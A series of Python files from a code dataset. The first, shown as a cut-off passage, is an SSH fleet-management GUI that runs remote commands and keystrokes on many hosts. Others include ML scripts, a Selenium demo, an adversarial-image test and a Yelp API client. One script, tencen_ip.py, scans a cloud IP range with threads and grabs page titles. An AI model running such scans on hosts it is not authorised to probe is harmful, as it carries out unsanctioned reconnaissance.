item.is_robot()\r\n        item.update_vncthumnail()\r\n\r\n    def debot(self):\r\n        for item in self.selectedItems():\r\n            worker = Worker(self.__debot__, item)\r\n            self.vncviewer_threads.start(worker)\r\n\r\n    def firefox_via_sshtunnel(self):\r\n        for item in self.selectedItems():\r\n            worker = Worker(item.firefox_via_sshtunnel)\r\n            self.vncviewer_threads.start(worker)\r\n\r\n    def chrome_via_sshtunnel(self):\r\n        for item in self.selectedItems():\r\n            worker = Worker(item.chrome_via_sshtunnel)\r\n            self.vncviewer_threads.start(worker)\r\n\r\n    def selectedItems(self, select_all=False):\r\n        return []\r\n\r\n    def create_socks5_tunnel(self, port=None):\r\n        for item in self.selectedItems():\r\n            item.create_socks5()\r\n\r\n    def open_vncviewer(self):\r\n        for item in self.selectedItems():\r\n            worker = Worker(item.open_vncviewer)\r\n            self.tasklist.append(worker)\r\n            self.vncviewer_threads.start(worker)\r\n\r\n    def ping(self):\r\n        for item in self.selectedItems():\r\n            worker = Worker(item.ping)\r\n            self.tasklist.append(worker)\r\n            self.threadpool.start(worker)\r\n\r\n    def update_url(self):\r\n        dl = URLForm(self)\r\n        urls = dl.getResult()\r\n        if not urls:\r\n            return\r\n        msg = \"Are you sure you want to update new url?\\n\"\r\n        msg += json.dumps(urls, indent=2)\r\n        reply = QtWidgets.QMessageBox.question(\r\n                self,\r\n                'Message',\r\n                msg,\r\n                QtWidgets.QMessageBox.Yes, QtWidgets.QMessageBox.No)\r\n\r\n        if reply != QtWidgets.QMessageBox.Yes:\r\n            return\r\n\r\n        # Encode to file\r\n        dl = QtWidgets.QFileDialog.getSaveFileName(self, 'Save File')\r\n        if not dl:\r\n            return\r\n        # d = {'urls': r}\r\n        text = '\\n'.join(urls)\r\n        with open(dl[0] + '.txt', 'w') as fp:\r\n            fp.write(text)\r\n        crypt.encryptFile(dl[0] + '.txt', dl[0])\r\n\r\n    def update_info(self):\r\n        for item in self.selectedItems():\r\n            worker = Worker(item.update_server_info)\r\n            self.tasklist.append(worker)\r\n            self.scp_pool.start(worker)\r\n\r\n    def exec_command(self, cmd=None, items=None, select_all=False):\r\n        if cmd is None:\r\n            dialog = ChooseCommandDialog(parent=self)\r\n            cmd = dialog.getResult()\r\n        if not cmd:\r\n            return\r\n\r\n        for item in self.selectedItems(select_all=select_all):\r\n            logging.info(\"try to send command {} to {}\".format(cmd, str(item)))\r\n            worker = Worker(item.exec_command, cmd, store=True)\r\n            # item.exec_command(cmd) #, store=True)\r\n            # logging.info(\"created new worker {}\".format(worker))\r\n            self.tasklist.append(worker)\r\n            # logging.info(\"added worker to takslist{}\".format(worker))\r\n            self.threadpool.start(worker)\r\n            # logging.info(\"run worker to takslist{}\".format(worker))\r\n\r\n    def open_terminal(self, command=None):\r\n        for item in self.selectedItems():\r\n            worker = Worker(item.invoke_shell, command)\r\n            # self.tasklist.append(worker)\r\n            self.terminal_threads.start(worker)\r\n\r\n    def open_folder(self):\r\n        for item in self.selectedItems():\r\n            worker = Worker(os.startfile, item.path())\r\n            self.tasklist.append(worker)\r\n            self.threadpool.start(worker)\r\n\r\n    def open_log(self):\r\n        for item in self.selectedItems():\r\n            worker = Worker(os.startfile, item.logFile)\r\n            # self.tasklist.append(worker)\r\n            self.terminal_threads.start(worker)\r\n\r\n    def upload(self, path='~/.ytv'):\r\n        dialog = SCPDialog(download=False)\r\n        dialog.widgets['dst_path']['widget'].setText(path)\r\n        info = dialog.getResult()\r\n        if not info:\r\n            return\r\n        for item in self.selectedItems():\r\n            worker = Worker(\r\n                        item.upload_by_subprocess,\r\n                        recursive=False,\r\n                        src_path=info['src_path'],\r\n                        dst_path=info['dst_path'],\r\n                        store=True\r\n                        )\r\n\r\n            self.tasklist.append(worker)\r\n            self.scp_pool.start(worker)\r\n\r\n    def upload_email(self):\r\n        self.upload(path='~/.ytv/email')\r\n\r\n    def backup(self):\r\n        d = QtWidgets.QFileDialog.getExistingDirectory(self, \"Open Files\")\r\n        if not d:\r\n            return\r\n\r\n        for item in self.selectedItems():\r\n            worker = Worker(item.backup, dst_path=d)\r\n            self.tasklist.append(worker)\r\n            self.backup_pool.start(worker)\r\n\r\n    def download(self, path='.'):\r\n        dialog = SCPDialog(download=True)\r\n        dialog.widgets['dst_path']['widget'].setText(path)\r\n        info = dialog.getResult()\r\n        if not info:\r\n            return None\r\n        for item in self.selectedItems():\r\n            worker = Worker(\r\n                        item.download_by_subprocess,\r\n                        recursive=False,\r\n                        src_path=info['src_path'],\r\n                        dst_path=info['dst_path'],\r\n                        stdout=subprocess.PIPE,\r\n                        stderr=subprocess.PIPE,\r\n                        store=True)\r\n            self.tasklist.append(worker)\r\n            self.scp_pool.start(worker)\r\n\r\n    def install_sshkey(self):\r\n        f = QtWidgets.QFileDialog.getOpenFileName(self, \"Open Files\")\r\n        if not f[0]:\r\n            return False\r\n\r\n        if f[0]:\r\n            for item in self.selectedItems():\r\n                worker = Worker(item.install_sshkey, f[0])\r\n                self.threadpool.start(worker)\r\n\r\n    def open_file(self):\r\n        for item in self.selectedItems():\r\n            p = str(item.get('filepath'))\r\n            if not p:\r\n                return\r\n            try:\r\n                os.startfile(p)\r\n            except Exception:\r\n                logging.error('unable to open {}'.format(p))\r\n\r\n    def force_reconnect(self):\r\n        for item in self.selectedItems():\r\n            item.force_reconnect()\r\n\r\n    def reload_config(self):\r\n        for item in self.selectedItems():\r\n            item.reloadConfig()\r\n\r\n    def copy_hostaddress(self):\r\n        items = self.selectedItems()\r\n        t = [i.hostaddress() for i in items]\r\n        clipboard = QtWidgets.QApplication.clipboard()\r\n        clipboard.clear(mode=clipboard.Clipboard)\r\n        clipboard.setText(\"\\n\".join(t), mode=clipboard.Clipboard)\r\n\r\n    def copy_tunnel_cmd(self):\r\n        cmds = [item.ssh_tunnel_cmd() for item in self.selectedItems()]\r\n        cb = QtWidgets.QApplication.clipboard()\r\n        cb.clear(mode=cb.Clipboard)\r\n        cb.setText(\"\\n\".join(cmds), mode=cb.Clipboard)\r\n\r\n    def new_url_at_current_tab(self):\r\n        text, okPressed = QtWidgets.QInputDialog.getText(\r\n                self, \"URL\", \"URL\",\r\n                QtWidgets.QLineEdit.Normal, \"\")\r\n        url = text.strip()\r\n        if not okPressed or not url:\r\n            return\r\n        cmd = '{0} key \"ctrl+l\" && {0} type --delay 100 \"{1}\" && {0} key Return'.format(XDOTOOL, url)\r\n        for item in self.selectedItems():\r\n            worker = Worker(item.exec_command, cmd)\r\n            self.threadpool.start(worker)\r\n\r\n    def send_key(self):\r\n        items = (\"Escape\", \"F5\", \"space\", \"Return\", \"f\", \"ctrl+w\", \"ctrl+q\")\r\n        item, okPressed = QtWidgets.QInputDialog.getItem(\r\n                self,\r\n                \"Send key\", \"Key\", items, 0, False)\r\n        if okPressed and item:\r\n            cmd = '{} key {}'.format(XDOTOOL, item)\r\n            for item in self.selectedItems():\r\n                worker = Worker(item.exec_command, cmd)\r\n                self.threadpool.start(worker)\r\n\r\n    def open_terminal_with_cmd(self, cmd=None):\r\n        if cmd is None:\r\n            cmd, okPressed = QtWidgets.QInputDialog.getText(\r\n                    self, \"CMD\", \"CMD\",\r\n                    QtWidgets.QLineEdit.Normal, \"\")\r\n            if not okPressed:\r\n                return\r\n        for item in self.selectedItems():\r\n            worker = Worker(item.invoke_shell, cmd)\r\n            self.terminal_threads.start(worker)\r\n\r\n    def move_to_trash(self):\r\n        items = self.selectedItems()\r\n        for item in self.selectedItems():\r\n            f = item.get('filepath')\r\n            dirname = os.path.join(os.path.dirname(f), 'Trash')\r\n            os.makedirs(dirname, exist_ok=True)\r\n            newfile = os.path.join(dirname, os.path.basename(f))\r\n            try:\r\n                os.rename(f, newfile)\r\n            except Exception as e:\r\n                logging.error(e, exc_info=True)\r\n            try:\r\n                self.model().removeItem(item)\r\n            except Exception as e:\r\n                logging.error(e, exc_info=True)\r\n        return items\r\n\r\n    def copy_ssh_cmd(self):\r\n        t = []\r\n        for item in self.selectedItems():\r\n            t.append(item.cmdline())\r\n        t = [i.cmdline() for i in self.selectedItems()]\r\n        clipboard = QtWidgets.QApplication.clipboard()\r\n        clipboard.clear(mode=clipboard.Clipboard)\r\n        clipboard.setText(\"\\n\".join(t), mode=clipboard.Clipboard)\r\n\r\n    def force_update(self, index):\r\n        rect = self.visualRect(index)\r\n        self.viewport().update(rect)\r\n\r\n    def new_item(self):\r\n        try:\r\n            # no selected items\r\n            item = self.selectedItems()[0]\r\n            dialog = SSHInputDialog(parent=self, root=os.path.dirname(item.path()))\r\n        except Exception:\r\n            dialog = SSHInputDialog(parent=self)\r\n        r = dialog.getResult()\r\n        if not r:\r\n            return\r\n        for f in r:\r\n            item = load_ssh_file(f)\r\n            item.info['filepath'] = str(r)\r\n            if item.get('hostname') not in self.model().hostnames:\r\n                self.model().appendItem(item)\r\n\r\n","sub_path":"sshContextMenu.py","file_name":"sshContextMenu.py","file_ext":"py","file_size_in_byte":11570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"214028744","text":"import pandas as pd\n\nfrom loader.data_loader import CustomVocab, CustomDataset, Corpus\n\n\nclass MSVDVocab(CustomVocab):\n    \"\"\" MSVD Vocaburary \"\"\"\n\n    def load_captions(self):\n        df = pd.read_csv(self.caption_fpath)\n        df = df[df['Language'] == 'English']\n        df = df[pd.notnull(df['Description'])]\n        captions = df['Description'].values\n        return captions\n\n    def build(self):\n        captions = self.load_captions()\n        for caption in captions:\n            words = self.transform(caption)\n            self.max_sentence_len = max(self.max_sentence_len, len(words))\n            for word in words:\n                self.word_freq_dict[word] += 1\n        self.n_vocabs_untrimmed = len(self.word_freq_dict)\n        self.n_words_untrimmed = sum(list(self.word_freq_dict.values()))\n\n        keep_words = [ word for word, freq in self.word_freq_dict.items() if freq >= self.min_count ]\n\n        for idx, word in enumerate(keep_words, len(self.word2idx)):\n            self.word2idx[word] = idx\n            self.idx2word[idx] = word\n        self.n_vocabs = len(self.word2idx)\n        self.n_words = sum([ self.word_freq_dict[word] for word in keep_words ])\n\n\nclass MSVDDataset(CustomDataset):\n    \"\"\" MSVD Dataset \"\"\"\n\n    def load_captions(self):\n        df = pd.read_csv(self.caption_fpath)\n        df = df[df['Language'] == 'English']\n        df = df[[ 'VideoID', 'Start', 'End', 'Description' ]]\n        df = df[pd.notnull(df['Description'])]\n\n        for video_id, start, end, caption in df.values:\n            vid = \"{}_{}_{}\".format(video_id, start, end)\n            self.captions[vid].append(caption)\n\n\nclass MSVD(Corpus):\n    \"\"\" MSVD Corpus \"\"\"\n\n    def __init__(self, C):\n        super(MSVD, self).__init__(C, MSVDVocab, MSVDDataset)\n\n","sub_path":"loader/MSVD.py","file_name":"MSVD.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"272836687","text":"# Author: Pedram Hosseini\n# Date: 1-22-2017\n\n# - - - - - - - - - -\n# Step 1 and 2 : read a data file using pandas library\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.cross_validation import KFold\nfrom sklearn import cross_validation\nfrom sklearn.linear_model import LogisticRegression\n\ntitanic = pd.read_csv(\"Data/train.csv\")\n# print(titanic.describe())\n\n# - - - - - - - - - -\n# Step 3 : handling missing values\n\ntitanic[\"Age\"] = titanic[\"Age\"].fillna(titanic[\"Age\"].median())\n# print(titanic.describe())\n\n# - - - - - - - - - -\n# Step 5: Converting a non-numeric value to a numeric value\n\n# in order to find all the unique values in a column\nprint(titanic[\"Sex\"].unique())  # output: ['male' 'female']\n\n# 0 = male, 1 = female\ntitanic.loc[titanic[\"Sex\"] == \"male\", \"Sex\"] = 0\ntitanic.loc[titanic[\"Sex\"] == \"female\", \"Sex\"] = 1\n\n# - - - - - - - - - -\n# Step 6\n\nprint(titanic[\"Embarked\"].unique())  # output: ['S' 'C' 'Q' nan] -> 'S' is the most common\n\ntitanic[\"Embarked\"] = titanic[\"Embarked\"].fillna(\"S\")\n\ntitanic.loc[titanic[\"Embarked\"] == \"S\", \"Embarked\"] = 0\ntitanic.loc[titanic[\"Embarked\"] == \"C\", \"Embarked\"] = 1\ntitanic.loc[titanic[\"Embarked\"] == \"Q\", \"Embarked\"] = 2\n\nprint(titanic.describe())\n\n# - - - - - - - - - -\n# Step 9: Start using sklearn and training a model\n\npredictors = [\"Pclass\", \"Sex\", \"Age\", \"SibSp\", \"Parch\", \"Fare\", \"Embarked\"]\n\nalg = LinearRegression()\n\nkf = KFold(titanic.shape[0], n_folds=3, random_state=1)\n\npredictions = []\nfor train, test in kf:\n    train_predictors = (titanic[predictors].iloc[train, :])\n    train_target = titanic[\"Survived\"].iloc[train]\n    alg.fit(train_predictors, train_target)\n    test_predictions = alg.predict(titanic[predictors].iloc[test, :])\n    predictions.append(test_predictions)\n\n# - - - - - - - - - -\n# Step 10: evaluating error\n\npredictions = np.concatenate(predictions, axis=0)\npredictions[predictions > .5] = 1\npredictions[predictions <= .5] = 0\n\ni = 0\ncorrect = 0\nfor item in titanic[\"Survived\"]:\n    if item == predictions[i]:\n        correct += 1\n    i += 1\n\naccuracy = correct / i\n\nprint(accuracy)\n\n# - - - - - - - - - -\n# Step 11: logistic regression\n\nalg = LogisticRegression(random_state=1)\nscores = cross_validation.cross_val_score(alg, titanic[predictors], titanic[\"Survived\"], cv=3)\nprint(scores.mean())\n\n# - - - - - - - - - -\n# Step 12: processing the test set\n\ntitanic_test = pd.read_csv(\"Data/test.csv\")\n\ntitanic_test[\"Age\"] = titanic_test[\"Age\"].fillna(titanic[\"Age\"].median())\n\ntitanic_test.loc[titanic_test[\"Sex\"] == \"male\", \"Sex\"] = 0\ntitanic_test.loc[titanic_test[\"Sex\"] == \"female\", \"Sex\"] = 1\n\ntitanic_test[\"Embarked\"] = titanic_test[\"Embarked\"].fillna(\"S\")\n\ntitanic_test.loc[titanic_test[\"Embarked\"] == \"S\", \"Embarked\"] = 0\ntitanic_test.loc[titanic_test[\"Embarked\"] == \"C\", \"Embarked\"] = 1\ntitanic_test.loc[titanic_test[\"Embarked\"] == \"Q\", \"Embarked\"] = 2\n\ntitanic_test[\"Fare\"] = titanic_test[\"Fare\"].fillna(titanic_test[\"Fare\"].median())\n\n# - - - - - - - - - -\n# Step 13: generating a submission file\n\nalg = LogisticRegression(random_state=1)\n\nalg.fit(titanic[predictors], titanic[\"Survived\"])\n\npredictions = alg.predict(titanic_test[predictors])\n\nsubmission = pd.DataFrame({\"PassengerId\": titanic_test[\"PassengerId\"], \"Survived\": predictions})\n\nsubmission.to_csv(\"Data/submission.csv\", index=False)\n\n# finished\n\n\n\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"254796464","text":"#    Copyright (C) 2020 crocoDL developers\n#\n#   Permission is hereby granted, free of charge, to any person obtaining a copy of this software\n#   and associated documentation files (the \"Software\"), to deal in the Software without\n#   restriction, including without limitation the rights to use, copy, modify, merge, publish,\n#   distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the\n#   Software is furnished to do so, subject to the following conditions:\n#\n#   The above copyright notice and this permission notice shall be included in all copies or\n#   substantial portions of the Software.\n#\n#   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING\n#   BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n#   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n#   DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n#   OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nimport os\nimport re\nimport os.path\nfrom crocodl.utils.web.browser import Browser\nimport subprocess\nimport sys\nimport json\nimport requests\n\nfrom crocodl.utils.code_utils import specialise_imports, expand_imports\nfrom crocodl.runtime.image_store import ImageStore\n\nclass Searchable(object):\n\n\tdef __init__(self,imagestore_path,architecture,folder):\n\t\tself.imagestore_path = imagestore_path\n\t\tself.architecture = architecture\n\t\tself.folder = folder\n\n\tdef clear(self):\n\t\tos.path.unlink(self.imagestore_path)\n\n\tdef __len__(self):\n\t\tif os.path.exists(self.imagestore_path):\n\t\t\tistore = ImageStore(self.imagestore_path)\n\t\t\treturn len(istore)\n\t\treturn 0\n\n\tdef search(self,image_path):\n\t\tscript_path = os.path.join(self.folder, \"search_tool.py\")\n\t\tresults_path = os.path.join(self.folder, \"results.json\")\n\n\t\twith open(script_path, \"w\") as f:\n\t\t\tf.write(Searchable.getCode(self.architecture))\n\n\t\ttracker_port = Browser.getEphemeralPort()\n\t\tproc = subprocess.Popen([sys.executable, script_path,\n\t\t\t\t\t\t\t\t\t  \"--db_path\", self.imagestore_path,\n\t\t\t\t\t\t\t\t\t  \"--tracker_port\", str(tracker_port),\n\t\t\t\t\t\t\t\t\t  \"--image_path\", image_path,\n\t\t\t\t\t\t\t\t\t  \"--architecture\", str(self.architecture),\n\t\t\t\t\t\t\t\t\t \"--results_path\", results_path],\n\t\t\t\t\t\t\t\t\t cwd=self.folder)\n\t\trunning = True\n\t\twhile running:\n\t\t\ttry:\n\t\t\t\tproc.wait(1)\n\t\t\t\trunning = False\n\t\t\texcept subprocess.TimeoutExpired:\n\t\t\t\tpass\n\t\treturn json.loads(open(results_path).read())\n\n\tdef load(self,image_folder,progress_cb=None):\n\t\tscript_path = os.path.join(self.folder, \"search_tool.py\")\n\n\t\twith open(script_path, \"w\") as f:\n\t\t\tf.write(Searchable.getCode(self.architecture))\n\n\t\ttracker_port = Browser.getEphemeralPort()\n\t\tproc = subprocess.Popen([sys.executable, script_path,\n\t\t\t\t\t\t\t\t\t  \"--db_path\", self.imagestore_path,\n\t\t\t\t\t\t\t\t\t  \"--tracker_port\", str(tracker_port),\n\t\t\t\t\t\t\t\t\t  \"--image_folder\", image_folder,\n\t\t\t\t\t\t\t\t\t  \"--architecture\", str(self.architecture)],\n\t\t\t\t\t\t\t\t\t cwd=self.folder)\n\t\trunning = True\n\t\twhile running:\n\t\t\ttry:\n\t\t\t\tproc.wait(1)\n\t\t\t\trunning = False\n\t\t\texcept subprocess.TimeoutExpired:\n\t\t\t\tself.checkStatus(progress_cb,tracker_port)\n\n\n\n\tdef checkStatus(self,progress_cb,port):\n\t\ttry:\n\t\t\tresponse = requests.get(\"http://localhost:\" + str(port))\n\t\t\tif response.status_code == 200:\n\t\t\t\tjo = response.json()\n\t\t\t\tif progress_cb:\n\t\t\t\t\tprogress_cb(jo[\"status\"],jo[\"latest_image_path\"],jo[\"latest_image_uri\"],jo[\"database_size\"])\n\t\texcept:\n\t\t\tpass\n\n\t@staticmethod\n\tdef getCode(architecture):\n\t\tfrom crocodl.image.model_registry.registry import Registry\n\t\tfactory = Registry.getModel(architecture)\n\t\tscript_src_path = os.path.join(os.path.split(__file__)[0], \"search_tool.py\")\n\t\tcode = open(script_src_path, \"r\").read()\n\t\troot_folder = os.path.join(os.path.split(__file__)[0], \"..\", \"..\", \"..\")\n\t\tcode = specialise_imports(factory,code)\n\t\tcode = expand_imports(code, re.compile(\"from (crocodl\\.runtime\\.[^ ]*) import .*\"), root_folder)\n\t\treturn code\n","sub_path":"crocodl/image/search/searchable.py","file_name":"searchable.py","file_ext":"py","file_size_in_byte":4016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"444486900","text":"x = float(input())\nif 0 <= x <= 400:\n  reajuste = 0.15\nelif 400 < x <= 800:\n  reajuste = 0.12\nelif 800 < x <= 1200:\n  reajuste = 0.10\nelif 1200 < x <= 2000:\n  reajuste = 0.07\nelif x > 2000:\n  reajuste = 0.04\n\nnreajuste = x * reajuste\nsalario = nreajuste + x\nprint('Novo salario: {:.2f}'.format(salario))\nprint('Reajuste ganho: {:.2f}'.format(nreajuste))\nprint('Em percentual: {:.0f} %'.format(reajuste * 100))\n","sub_path":"beginner/1048.py","file_name":"1048.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"68825709","text":"# Find elements using By method\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\nclass FindBy():\n\n    def find(self):\n        baseUrl = \"https://learn.letskodeit.com/p/practice\"\n        driver = webdriver.Firefox(\n            executable_path=\"C:\\\\Python\\\\Drivers\\\\Gecko\\\\geckodriver-v0.26.0-win32\\\\geckodriver.exe\")\n        driver.set_window_size(600, 500)\n        driver.get(baseUrl)\n\n        elementByIdName = driver.find_element(By.ID, \"name\")\n\n        if elementByIdName is not None:\n            print(\"We found an element by Id Name\")\n\n\n        elementByXPath = driver.find_element(By.XPATH, \"//button[@id='mousehover']\")\n\n        if elementByXPath is not None:\n            print(\"We found an element by XPath\")\n\n        elementByClass = driver.find_element(By.CLASS_NAME, \"dropbtn\")\n\n        if elementByClass is not None:\n            print(\"we found an element by Class Name\")\n\n        elementByTag = driver.find_element(By.TAG_NAME, \"h1\")\n\n        if elementByTag is not None:\n            print(\"We found an element by Tag Name\")\n        elementByLinkText = driver.find_element(By.LINK_TEXT, \"Login\")\n\n        if elementByLinkText is not None:\n            print(\"We found an element by Link Text\")\n\n\nff = FindBy()\nff.find()","sub_path":"FindingElements/FindByAll.py","file_name":"FindByAll.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"528694856","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# adver_test.py\n# @Author : yuanwenjin\n# @Mail   : \n# @Date   : 11/13/2019, 11:46:05 AM\n# @Docs   :\n#\n\nimport os, sys\nimport numpy as np\nimport time\n\nsys.path.append(os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'slim'))\n\nfrom PIL import Image\nfrom PIL import ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\n\nimport tensorflow as tf\nfrom nets import nets_factory\n\ntf.flags.DEFINE_string(\n    'model_name', '', 'model name for mobile network.')\n\ntf.flags.DEFINE_string(\n    'checkpoint_path', '', 'Path to checkpoint for mobile network.')\n\nFLAGS = tf.flags.FLAGS\nmodel_name = FLAGS.model_name\n\ndef preprocessing(img, reshaped_size=(299, 299)):\n    \"\"\"切圆\n    ### Args:\n        - img: H*W*C, PIL image, rgb\n        - mask: H*W*1, array, same with reshaped\n        - reshaped_size, 2*1, (height, width), tuple\n        - rgb_means: C*1, (meanR, meanG, meanB), tuple\n    ### Returns:\n        image.\n    \"\"\"\n\n    img = np.array(img.resize(reshaped_size, Image.ANTIALIAS), dtype='float16') / 255.0\n\n    img = img * 2.0 - 1.0\n\n    return img\n\ndef load_images(input_dir, image_size, img_type):\n    \"\"\"Read png images from input directory in batches.\n    Args:\n        input_dir: input directory\n        image_size: image size, i.e. [height, width]\n        img_type: image type, i.e. .jpg, .png\n    Yields:\n        filenames: list file names without path of each image\n            Lenght of this list could be less than batch_size, in this case only\n            first few images of the result are elements of the minibatch.\n        images: array with all images from this batch\n    \"\"\"\n\n    image_names = os.listdir(input_dir)\n    images_path = [f for f in image_names if f.endswith(img_type)]\n    imgs = [preprocessing(Image.open(os.path.join(input_dir, img))) for img in images_path]\n    images = np.array(imgs, dtype=float)\n    return image_names, images\n\ndef main(_):\n    network_fn = nets_factory.get_network_fn(model_name, num_classes=(1001 - 0), is_training=False)\n    with tf.Graph().as_default():\n        # Prepare graph\n        x_input = tf.placeholder(tf.float32, shape=[None, 299, 299, 3])\n        logits, _ = network_fn(x_input)\n        gailv = tf.reduce_max(tf.nn.softmax(logits), 1)\n        pred = tf.argmax(logits, 1)\n\n        # Run computation\n        saver = tf.train.Saver()\n        with tf.Session() as sess:\n            saver.restore(sess, FLAGS.checkpoint_path)\n            image_names, images = load_images('./test_images', [299, 299], '.png')\n            val, classed = sess.run([gailv, pred], feed_dict={x_input: images})\n            for name, v, c in zip(image_names, val, classed):\n                print(name, v, c)\n\n            image_names, images = load_images('./test_images_results', [299, 299], '.png')\n            val, classed = sess.run([gailv, pred], feed_dict={x_input: images})\n            for name, v, c in zip(image_names, val, classed):\n                print(name, v, c)\n\nif __name__ == '__main__':\n    tf.app.run()\n\n","sub_path":"adv_attack/adver_test.py","file_name":"adver_test.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"591480788","text":"# 功能与ali_ip.py相似。\n\nimport requests\nimport threading\n\ndef get_title(ip):\n\ttry:\n\t\tres = requests.get(\"http://\"+ip, timeout=3)\n\t\tif res.status_code == 200:\n\t\t\thtml = res.content.decode(\"utf-8\")\n\t\t\ttitle = html.split(\"<title>\")[1].split(\"</title>\")[0].strip()\n\t\telse:\n\t\t\tprint('get error')\n\t\ttitle = f\"{ip} {title[0:20]}\"\n\texcept Exception:\n\t\ttitle = None\n\tif (title):\n\t\tprint(title)\n\nfor m in range(0,10):\n\tfor i in range(0,255):\n\t\tip = f\"49.51.{m}.{i}\"\n\t\tt=threading.Thread(target=get_title,args=(ip,))\n\t\tt.start()\n","sub_path":"tencen_ip.py","file_name":"tencen_ip.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"454422079","text":"\"\"\"Utilities for requesting data from the Yelp API\"\"\"\n\nfrom json.decoder import JSONDecodeError\nimport requests\nfrom backend.config import YelpConfig\n\nBASE_URL = \"https://api.yelp.com/v3\"\nBUSINESS_SEARCH_URL = BASE_URL + \"/businesses/search\"\nPHONE_SEARCH_URL = BASE_URL + \"/businesses/search/phone\"\nTRANSACTION_SEARCH_URL = BASE_URL + \"/transactions/{transaction_type}/search\"\nBUSINESS_DETAILS_URL = BASE_URL + \"/businesses/{id}\"\nBUSINESS_MATCH_URL = BASE_URL + \"/businesses/matches\"\nBUSINESS_REVIEWS_URL = BASE_URL + \"/businesses/{id}/reviews\"\nAUTOCOMPLETE_URL = BASE_URL + \"/autocomplete\"\nSEARCH_LIMIT = 5\n\nclass YelpAPI:\n    \"\"\"\n    Makes calls to the Yelp API for searches and business information. Searches will require\n    location parameters (city or latitude and longitude), and getting business data will require\n    a business ID.\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        Makes an instance to execute API calls.\n        :return: None\n        \"\"\"\n        self.api_key = YelpConfig.YELP_API_KEY\n        self.headers = {\"Authorization\": \"Bearer {}\".format(self.api_key)}\n\n    def request(self, url, params=None):\n        \"\"\"\n        Send a GET request to the Yelp API and return the response.\n        :param url: Request URL\n        :param params: Request parameters\n        :return: JSON response\n        \"\"\"\n        try:\n            response = requests.get(url, headers=self.headers, params=params).json()\n            return response\n        except JSONDecodeError:\n            print(\"Request to {} did not return valid JSON\".format(url))\n            return {}\n\n    def business_search(self, term, location, **kwargs):\n        \"\"\"\n        Query the Yelp Search API.\n        :param term: Search term\n        :param location: Search location (latitude and longitude or city)\n        :return: JSON search results\n        \"\"\"\n        params = {\n            \"term\": term.replace(\" \", \"+\"),\n            \"limit\": SEARCH_LIMIT,\n            \"open_now\": True\n        }\n        # Handle location parameter\n        if isinstance(location, tuple):\n            params[\"latitude\"] = str(location[0])\n            params[\"longitude\"] = str(location[1])\n        elif isinstance(location, str):\n            params[\"location\"] = location.replace(\" \", \"+\")\n        else:\n            print(\"Location must be entered as either a 2-tuple (lat, long) or a string\")\n            return None\n        # Handle optional parameters\n        if kwargs:\n            for arg, value in kwargs.items():\n                if arg == \"radius\":\n                    try:\n                        radius_in_meters = int(float(value) * 1609.34)\n                        params[\"radius\"] = radius_in_meters if radius_in_meters <= 40000 else 40000\n                    except ValueError:\n                        print(\"Radius must be convertible to float\")\n                        return None\n                elif arg == \"price\":\n                    if value.count(\"$\") == len(value):\n                        params[\"price\"] = value.count(\"$\")\n                    elif value == \"1, 2, 3, 4\":\n                        params[\"price\"] = value\n                    else:\n                        print(\"Price must be between $ and $$$$\")\n                        return None\n                elif arg == \"open_now\":\n                    params[\"open_now\"] = value\n        response = self.request(url=BUSINESS_SEARCH_URL, params=params)\n        return response\n\n    def business_details(self, business_id):\n        \"\"\"\n        Query the Yelp API for business details.\n        :param business_id: Business ID or alias\n        :return: JSON query results\n        \"\"\"\n        url = BUSINESS_DETAILS_URL.replace(\"{id}\", business_id)\n        response = self.request(url=url)\n        return response\n\n    def business_reviews(self, business_id):\n        \"\"\"\n        Query the Yelp API for business reviews.\n        :param business_id: Business ID or alias\n        :return: JSON query results\n        \"\"\"\n        url = BUSINESS_REVIEWS_URL.replace(\"{id}\", business_id)\n        response = self.request(url=url)\n        return response\n","sub_path":"backend/flaskr/yelp_api_utils.py","file_name":"yelp_api_utils.py","file_ext":"py","file_size_in_byte":4087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
